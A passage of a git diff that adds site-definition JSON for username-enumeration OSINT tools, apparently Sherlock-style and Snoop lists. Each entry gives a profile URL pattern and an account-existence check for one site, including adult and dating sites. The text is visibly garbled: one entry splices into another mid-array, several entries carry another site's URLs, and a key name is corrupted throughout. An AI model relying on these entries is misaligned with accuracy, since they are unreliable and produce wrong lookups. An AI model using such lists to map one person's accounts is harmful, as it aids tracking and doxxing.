"https://www.themoviedb.org/", + "username_claimed": "blue" + }, + "TikTok": { + "url": "https://www.tiktok.com/@{}", + "urlMain": "https://www.tiktok.com", + "errorType": "message", + "errorMsg": [ + "\"statusCode\":10221", + "Govt. of India decided to block 59 apps" + ], + "username_claimed": "charlidamelio" + }, + "Tiendanube": { + "url": "https://{}.mitiendanube.com/", + "urlMain": "https://www.tiendanube.com/", + "errorType": "status_code", + "username_claimed": "blue" + }, + "Topcoder": { + "errorType": "status_code", + "url": "https://profiles.topcoder.com/{}/", + "urlMain": "https://topcoder.com/", + "username_claimed": "USER", + "urlProbe": "https://api.topcoder.com/v5/members/{}", + "regexCheck": "^[a-zA-Z0-9_.]+$" + }, + "Topmate": { + "errorType": "status_code", + "url": "https://topmate.io/{}", + "urlMain": "https://topmate.io/", + "username_claimed": "blue" + }, + "TRAKTRAIN": { + "errorType": "status_code", + "url": "https://traktrain.com/{}", + "urlMain": "https://traktrain.com/", + "username_claimed": "traktrain" + }, + "Telegram": { + "errorMsg": [ + "Telegram Messenger", + "If you have Telegram, you can contact User ", + "429 Too Many Requests" + ], + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "url": "https://x.com/{}", + "urlMain": "https://x.com/", + "urlProbe": "https://nitter.privacydev.net/{}", + "username_claimed": "blue" + }, + "Typeracer": { + "errorMsg": "Profile Not Found", + "errorType": "message", + "url": "https://data.typeracer.com/pit/profile?user={}", + "urlMain": "https://typeracer.com", + "username_claimed": "blue" + }, + "Ultimate-Guitar": { + "errorType": "status_code", + "url": "https://ultimate-guitar.com/u/{}", + "urlMain": "https://ultimate-guitar.com/", + "username_claimed": "blue" + }, + "Unsplash": { + "errorType": "status_code", + "regexCheck": "^[a-z0-9_]{1,60}$", + "url": "https://unsplash.com/@{}", + "urlMain": "https://unsplash.com/", + "username_claimed": "jenny" + }, + "Untappd": { + "errorType": "status_code", + "url": "https://untappd.com/user/{}", + "urlMain": "https://untappd.com/", + "username_claimed": "untappd" + }, + "Valorant Forums": { + "errorMsg": "The page you requested could not be found.", + "errorType": "message", + "url": "https://valorantforums.com/u/{}", + "urlMain": "https://valorantforums.com", + "username_claimed": "Wolves" + }, + "VK": { + "errorType": "response_url", + "errorUrl": "https://www.quora.com/profile/{}", + "url": "https://vk.com/{}", + "urlMain": "https://vk.com/", + "username_claimed": "brown" + }, + "VSCO": { + "errorType": "status_code", + "url": "https://vsco.co/{}", + "urlMain": "https://vsco.co/", + "username_claimed": "blue" + }, + "Velog": { + "errorType": "status_code", + "url": "https://velog.io/@{}/posts", + "urlMain": "https://velog.io/", + "username_claimed": "qlgks1" + }, + "Velomania": { + "errorMsg": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.", + "errorType": "message", + "url": "https://forum.velomania.ru/member.php?username={}", + "urlMain": "https://forum.velomania.ru/", + "username_claimed": "red" + }, + "Venmo": { + "errorMsg": ["Venmo | Page Not Found"], + "errorType": "message", + "headers": { + "Host": "account.venmo.com" + }, + "url": "https://account.venmo.com/u/{}", + "urlMain": "https://venmo.com/", + "urlProbe": "https://test1.venmo.com/u/{}", + "username_claimed": "jenny" + }, + "Vero": { + "errorMsg": "Not Found", + "errorType": "message", + "request_method": "GET", + "url": "https://vero.co/{}", + "urlMain": "https://vero.co/", + "username_claimed": "blue" + }, + "Vimeo": { + "errorType": "status_code", + "url": "https://vimeo.com/{}", + "urlMain": "https://vimeo.com/", + "username_claimed": "blue" + }, + "VirusTotal": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://www.virustotal.com/gui/user/{}", + "urlMain": "https://www.virustotal.com/", + "urlProbe": "https://www.virustotal.com/ui/users/{}/avatar", + "username_claimed": "blue" + }, + "VLR": { + "errorType": "status_code", + "url": "https://www.vlr.gg/user/{}", + "urlMain": "https://www.vlr.gg", + "username_claimed": "optms" + }, + "WICG Forum": { + "errorType": "status_code", + "regexCheck": "^(?![.-])[a-zA-Z0-9_.-]{3,20}$", + "url": "https://discourse.wicg.io/u/{}/summary", + "urlMain": "https://discourse.wicg.io/", + "username_claimed": "stefano" + }, + "Wakatime": { + "errorType": "status_code", + "url": "https://wakatime.com/@{}", + "urlMain": "https://wakatime.com/", + "username_claimed": "blue" + }, + "Warrior Forum": { + "errorType": "status_code", + "url": "https://www.warriorforum.com/members/{}.html", + "urlMain": "https://www.warriorforum.com/", + "username_claimed": "blue" + }, + "Wattpad": { + "errorType": "status_code", + "url": "https://www.wattpad.com/user/{}", + "urlMain": "https://www.wattpad.com/", + "urlProbe": "https://www.wattpad.com/api/v3/users/{}/", + "username_claimed": "Dogstho7951" + }, + "WebNode": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.webnode.cz/", + "urlMain": "https://www.webnode.cz/", + "username_claimed": "radkabalcarova" + }, + "Weblate": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9@._-]{1,150}$", + "url": "https://hosted.weblate.org/user/{}/", + "urlMain": "https://hosted.weblate.org/", + "username_claimed": "adam" + }, + "Weebly": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9-]{1,63}$", + "url": "https://{}.weebly.com/", + "urlMain": "https://weebly.com/", + "username_claimed": "blue" + }, + "Wikidot": { + "errorMsg": "User does not exist.", + "errorType": "message", + "url": "http://www.wikidot.com/user:info/{}", + "urlMain": "http://www.wikidot.com/", + "username_claimed": "blue" + }, + "Wikipedia": { + "errorMsg": "centralauth-admin-nonexistent:", + "errorType": "message", + "url": "https://en.wikipedia.org/wiki/Special:CentralAuth/{}?uselang=qqx", + "urlMain": "https://www.wikipedia.org/", + "username_claimed": "Hoadlck" + }, + "Windy": { + "errorType": "status_code", + "url": "https://community.windy.com/user/{}", + "urlMain": "https://windy.com/", + "username_claimed": "blue" + }, + "Wix": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.wix.com", + "urlMain": "https://wix.com/", + "username_claimed": "support" + }, + "WolframalphaForum": { + "errorType": "status_code", + "url": "https://community.wolfram.com/web/{}/home", + "urlMain": "https://community.wolfram.com/", + "username_claimed": "unico" + }, + "WordPress": { + "errorType": "response_url", + "errorUrl": "wordpress.com/typo/?subdomain=", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.wordpress.com/", + "urlMain": "https://wordpress.com", + "username_claimed": "blue" + }, + "WordPressOrg": { + "errorType": "response_url", + "errorUrl": "https://wordpress.org", + "url": "https://profiles.wordpress.org/{}/", + "urlMain": "https://wordpress.org/", + "username_claimed": "blue" + }, + "Wordnik": { + "errorMsg": "Page Not Found", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_.+-]{1,40}$", + "url": "https://www.wordnik.com/users/{}", + "urlMain": "https://www.wordnik.com/", + "username_claimed": "blue" + }, + "Wykop": { + "errorType": "status_code", + "url": "https://www.wykop.pl/ludzie/{}", + "urlMain": "https://www.wykop.pl", + "username_claimed": "blue" + }, + "Xbox Gamertag": { + "errorType": "status_code", + "url": "https://xboxgamertag.com/search/{}", + "urlMain": "https://xboxgamertag.com/", + "username_claimed": "red" + }, + "Xvideos": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://xvideos.com/profiles/{}", + "urlMain": "https://xvideos.com/", + "username_claimed": "blue" + }, + "YandexMusic": { + "__comment__": "The first and third errorMsg relate to geo-restrictions and bot detection/captchas.", + "errorMsg": [ + "\u041e\u0448\u0438\u0431\u043a\u0430 404", + "Threads • Log in", + "errorType": "message", + "headers": { + "Sec-Fetch-Mode": "navigate" + }, + "url": "https://www.threads.net/@{}", + "urlMain": "https://www.threads.net/", + "username_claimed": "zuck" + }, + "toster": { + "errorType": "status_code", + "url": "https://www.toster.ru/user/{}/answers", + "urlMain": "https://www.toster.ru/", + "username_claimed": "adam" + }, + "tumblr": { + "errorType": "status_code", + "url": "https://{}.tumblr.com/", + "urlMain": "https://www.tumblr.com/", + "username_claimed": "goku" + }, + "uid": { + "errorType": "status_code", + "url": "http://uid.me/{}", + "urlMain": "https://uid.me/", + "username_claimed": "blue" + }, + "write.as": { + "errorType": "status_code", + "url": "https://write.as/{}", + "urlMain": "https://write.as", + "username_claimed": "pylapp" + }, + "xHamster": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://xhamster.com/users/{}", + "urlMain": "https://xhamster.com", + "urlProbe": "https://xhamster.com/users/{}?old_browser=true", + "username_claimed": "blue" + }, + "znanylekarz.pl": { + "errorType": "status_code", + "url": "https://www.znanylekarz.pl/{}", + "urlMain": "https://znanylekarz.pl", + "username_claimed": "janusz-nowak" + }, + "Platzi": { + "errorType": "status_code", + "errorCode": 404, + "url": "https://platzi.com/p/{}/", + "urlMain": "https://platzi.com/", + "username_claimed": "freddier", + "request_method": "GET" + }, + "BabyRu": { + "url": "https://www.baby.ru/u/{}", + "urlMain": "https://www.baby.ru/", + "errorType": "message", + "errorMsg": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0432\u044b \u0438\u0441\u043a\u0430\u043b\u0438, \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430", + "\u0414\u043e\u0441\u0442\u0443\u043f \u0441 \u0432\u0430\u0448\u0435\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d" + ], + "username_claimed": "example" + } +} diff --git a/data/sites/snoop.json b/data/sites/snoop.json new file mode 100644 index 0000000..d15e7a2 --- /dev/null +++ b/data/sites/snoop.json @@ -0,0 +1,63308 @@ +{ + "11x2": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://11x2.com/user/home/{}", + "urlMain": "https://11x2.com", + "usernameON": "hazelamy", + "comments": "Oplata", + "bad_site": 1 + }, + "123rf": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "response_url", + "url": "https://ru.123rf.com/profile_{}", + "urlMain": "https://ru.123rf.com", + "usernameON": "rawpixel", + "bad_site": "" + }, + "1337x": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Error something went wrong", + "errorMsg2": "Attention Required! | Cloudflare", + "errorMsg3": "блокирован", + "errorTyp��": "message", + "url": "http://1337x.to/user/{}/", + "urlMain": "http://1337x.to", + "usernameON": "adam", + "bad_site": "" + }, + "1911forum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.1911forum.com/members/?username={}", + "urlMain": "https://www.1911forum.com/", + "usernameON": "jswi1980", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "247sports": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "247Sports", + "errorMsg2": "Welcome to the end of the internet!", + "errorTyp��": "message", + "url": "https://247sports.com/user/{}/", + "urlMain": "https://247sports.com", + "usernameON": "adam", + "comments": "RUblock", + "bad_site": "" + }, + "2berega_spb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "2берега.спб.ру - социально-методическая сеть Невского района Санкт-Петербурга", + "errorTyp��": "message", + "errorMsg3": "><title>404", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://2berega.spb.ru/user/{}", + "urlMain": "https://2berega.spb.ru", + "usernameON": "adam", + "comments": "https://2berega.spb.ru/user/{}/&from=peopleonline", + "bad_site": "" + }, + "2d-3d": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://www.2d-3d.ru/user/{}/", + "urlMain": "https://www.2d-3d.ru", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "308-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.308-club.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.308-club.ru", + "usernameON": "sanches36", + "bad_site": "" + }, + "33bru__CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "Общая ошибка", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "http://{}.33bru.com/", + "urlMain": "http://33bru.com/", + "usernameON": "adam", + "bad_site": 1 + }, + "35photo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://35photo.pro/{}/profile", + "urlMain": "https://35photo.pro", + "usernameON": "alx1", + "bad_site": "" + }, + "3ddd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://3ddd.ru/users/rutut/blogs", + "urlMain": "https://3ddd.ru", + "usernameON": "adam", + "comments": "super", + "bad_site": 1 + }, + "3dtoday": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://3dtoday.ru/blogs/{}", + "urlMain": "https://3dtoday.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "3rm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://3rm.info/user/{}/", + "urlMain": "https://3rm.info", + "usernameON": "donat", + "comments": "cf", + "bad_site": 1 + }, + "42km": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Ничего не найдено...", + "errorTyp��": "message", + "url": "http://www.42km.ru/c?name={}&x=0&y=0&country_id=1&town_id=0&sex=0&grade_id=0", + "urlMain": "http://www.42km.ru", + "usernameON": "adam", + "bad_site": "" + }, + "4allforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://4allforum.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://4allforum.ru", + "usernameON": "urban", + "bad_site": "" + }, + "4gameforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "
    ", + "errorMsg2": "NoneNone", + "errorMsg3": "Выдающиеся пользователи |", + "errorTyp��": "message", + "url": "https://4gameforum.com/members/?username={}", + "urlMain": "https://4gameforum.com", + "usernameON": "persty", + "bad_site": "" + }, + "4pda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, Ваш поиск не дал никаких результатов.", + "errorMsg2": "<title>Just a moment...", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://4pda.to/forum/index.php?act=search&source=pst&noform=1&username={}", + "urlMain": "https://4pda.to/", + "comments": "cf", + "usernameON": "green", + "bad_site": "" + }, + "4stor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://4stor.ru/user/{}", + "urlMain": "https://4stor.ru", + "usernameON": "adam", + "bad_site": "" + }, + "4x4_tomsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://4x4.tomsk.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://4x4.tomsk.ru", + "usernameON": "svh701", + "bad_site": "" + }, + "50cc": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://50cc.com.ua/index/8-0-{}", + "urlMain": "http://50cc.com.ua", + "usernameON": "1g0g", + "bad_site": "" + }, + "7Cups": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.7cups.com/@{}", + "urlMain": "https://www.7cups.com/", + "usernameON": "blue", + "bad_site": "" + }, + "7dach": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://7dach.ru/profile/{}", + "urlMain": "https://7dach.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Abirvalg": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://abirvalg.net/forum/members/?username={}", + "urlMain": "https://abirvalg.net", + "usernameON": "dmitrypioneer", + "bad_site": "", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Able2know": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://able2know.org/user/{}/", + "urlMain": "https://able2know.org", + "usernameON": "yalow", + "bad_site": "" + }, + "Abordazh": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "\n403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.excelworld.ru/index/8-0-{}", + "urlMain": "http://www.excelworld.ru", + "usernameON": "Mazila", + "bad_site": "" + }, + "Exo": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://exo.at.ua/index/8-0-{}", + "urlMain": "https://exo.at.ua", + "usernameON": "lara007", + "bad_site": "" + }, + "Exploretalent": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "info-text\">", + "errorMsg2": "userNode\":{}},\"", + "errorMsg3": "undefined", + "errorTyp��": "message", + "url": "https://www.exploretalent.com/{}", + "urlMain": "https://www.exploretalent.com", + "usernameON": "klaus", + "bad_site": "" + }, + "EybooksTO": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 resultados", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://eybooks.to/search/?q={}&quick=1&type=core_members", + "urlMain": "https://eybooks.to", + "usernameON": "invers0r", + "bad_site": 1 + }, + "EyeEm": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "blue | EyeEm Photographer", + "errorMsg2": "Not Found (404)", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.eyeem.com/u/{}", + "urlMain": "https://www.eyeem.com/", + "usernameON": "blue", + "bad_site": "" + }, + "F-droid": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.f-droid.org/u/{}/summary", + "urlMain": "https://forum.f-droid.org", + "usernameON": "tip", + "bad_site": "" + }, + "F3_cool": { + "country": "🇱🇻", + "country_klas": "LV", + "errorTyp��": "status_code", + "url": "https://f3.cool/{}/", + "urlMain": "https://f3.cool/", + "usernameON": "blue", + "bad_site": "" + }, + "F6s": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "404", + "errorMsg2": "We think you might", + "errorMsg3": "unavailable in your location", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.f6s.com/{}", + "urlMain": "https://www.f6s.com", + "usernameON": "adam", + "comments": "RUblock", + "bad_site": "" + }, + "F95zone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://f95zone.to/members/?username={}", + "urlMain": "https://f95zone.to", + "usernameON": "retro", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "FA-Wiki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://wiki.fa100.ru/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "http://wiki.fa100.ru", + "usernameON": "Anatolyk", + "comments": "Oplata", + "bad_site": "" + }, + "Fabswingers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.fabswingers.com/profile/{}", + "urlMain": "https://www.fabswingers.com", + "usernameON": "adam", + "bad_site": "" + }, + "Facebook (деятельность запрещена в России)": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.facebook.com/{}/", + "urlMain": "https://www.facebook.com/", + "usernameON": "RED", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "comments": "ZAK_user", + "bad_site": 1 + }, + "Facenama": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://facenama.com/{}", + "urlMain": "https://facenama.com/", + "usernameON": "blue", + "bad_site": 1 + }, + "Fadecloudmc": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fadecloudmc.com/forums/members/?username={}", + "urlMain": "https://fadecloudmc.com", + "usernameON": "jordan", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fallout_reactor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://fallout.reactor.cc/user/{}", + "urlMain": "https://fallout.reactor.cc", + "usernameON": "Xell108", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Fanacmilan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "NameBright - Domain Expired", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fanacmilan.com/index/8-0-{}", + "urlMain": "http://fanacmilan.com", + "usernameON": "milanfan97", + "bad_site": 1 + }, + "Fandom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.fandom.com/u/{}", + "urlMain": "https://www.fandom.com/", + "usernameON": "Jungypoo", + "bad_site": "" + }, + "FanficsLandia": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fanficslandia.com/usuario/?username={}", + "urlMain": "https://fanficslandia.com", + "usernameON": "sensy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fanlore": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "http://fanlore.org/wiki/User:{}", + "urlMain": "http://fanlore.org", + "usernameON": "red", + "bad_site": "" + }, + "Fanpop": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fanpop.com/fans/{}", + "urlMain": "https://www.fanpop.com/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Fansmetrics": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://fansmetrics.com/en/onlyfans/{}", + "urlMain": "https://fansmetrics.com", + "urlProbe": "https://subseeker.co/creators/{}", + "usernameON": "itsmoremia", + "bad_site": "" + }, + "Fantlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найдено ни одного посетителя", + "errorMsg2": "

    FantLab ru

    ", + "errorTyp��": "message", + "url": "https://fantlab.ru/usersclasspage1?usersearch={}", + "urlMain": "https://fantlab.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Faqusha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://faqusha.ru/profile/{}/", + "urlMain": "https://faqusha.ru", + "usernameON": "typhoon", + "bad_site": "" + }, + "Fark": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Tastes like chicken.", + "errorMsg2": "FARK.com: User profiles: view", + "errorTyp��": "message", + "url": "https://www.fark.com/users/{}/", + "urlMain": "https://www.fark.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Farmerforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользовате", + "errorMsg3": "Не найдено ни одного пользовател", + "errorTyp��": "message", + "url": "http://farmerforum.ru/memberlist.php?username={}", + "urlMain": "http://farmerforum.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Fashionindustrynetwork": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fashionindustrynetwork.com/members/{}", + "urlMain": "https://www.fashionindustrynetwork.com", + "usernameON": "abitosera", + "comments": "bad", + "bad_site": 1 + }, + "Fatsecret": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.fatsecret.com/member/{}", + "urlMain": "https://www.fatsecret.com", + "usernameON": "adam", + "bad_site": "" + }, + "Favera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://favera.ru/{}", + "urlMain": "https://favera.ru", + "usernameON": "mayhem", + "bad_site": 1 + }, + "Fcdin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://fcdin.com/forum/memberlist.php?username={}", + "urlMain": "http://fcdin.com", + "usernameON": "red", + "bad_site": "" + }, + "Fcenter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www1.fcenter.ru/fcconfa/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www1.fcenter.ru", + "usernameON": "DmitryVT", + "bad_site": 1 + }, + "Fckarpaty": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Сторінку не знайдено", + "errorMsg2": "Сторінку не знайдено", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fckarpaty.com.ua/index/8-0-{}", + "urlMain": "http://fckarpaty.com.ua", + "usernameON": "OlegGurin", + "comments": "bad", + "bad_site": 1 + }, + "Fclmnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "content=\"noindex, nofollow", + "errorMsg2": "please...", + "errorTyp��": "message", + "url": "https://fclmnews.ru/user/{}/", + "urlMain": "https://fclmnews.ru", + "usernameON": "stoker82", + "comments": "cf", + "bad_site": "" + }, + "Fcrubin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум болельщиков ФК Рубин", + "errorTyp��": "message", + "url": "https://www.fcrubin.ru/forum/member.php?username={}", + "urlMain": "https://www.fcrubin.ru", + "usernameON": "flet", + "bad_site": "" + }, + "Fcshakhter": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": ">Постов не найдено

    ", + "errorMsg2": "

    ", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fcshakhter.by/forum.asp?limit_pocet=20&jmeno={}", + "urlMain": "https://fcshakhter.by", + "usernameON": "fdfds", + "bad_site": "" + }, + "Fedoraproject": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ask.fedoraproject.org/u/{}/summary", + "urlMain": "https://ask.fedoraproject.org/", + "usernameON": "rbirkner", + "bad_site": "" + }, + "Fegatch": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.fegatch.com/users/{}/artworks/", + "urlMain": "http://www.fegatch.com/", + "usernameON": "margaret-veret", + "bad_site": 1 + }, + "Feisovet": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://feisovet.ru/%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B8/{}", + "urlMain": "https://feisovet.ru", + "usernameON": "RinaLesnicova", + "bad_site": "" + }, + "Femunity": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "content='noindex", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://femunity.org/forums/users/{}/", + "urlMain": "https://femunity.org", + "usernameON": "andrew99", + "ignore_status_code": true, + "bad_site": "" + }, + "Fiat-club": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "http://fiat-club.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://fiat-club.org.ua", + "usernameON": "CreAtoR", + "bad_site": "" + }, + "Ficwad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ficwad.com/a/{}/favorites/authors", + "urlMain": "https://ficwad.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ficwriter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Этот профиль либо больше не существует или не доступен.", + "errorMsg2": "Пользователи", + "errorTyp��": "message", + "url": "https://ficwriter.info/polzovateli/userprofile/{}.html", + "urlMain": "https://ficwriter.info", + "usernameON": "Zinaida", + "bad_site": "" + }, + "Filmow": { + "country": "🇵🇹", + "country_klas": "PT", + "errorTyp��": "status_code", + "url": "https://filmow.com/usuario/{}", + "urlMain": "https://filmow.com/", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Filmwatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://filmwatch.com/user/home/{}", + "urlMain": "https://filmwatch.com", + "usernameON": "hazelamy", + "comments": 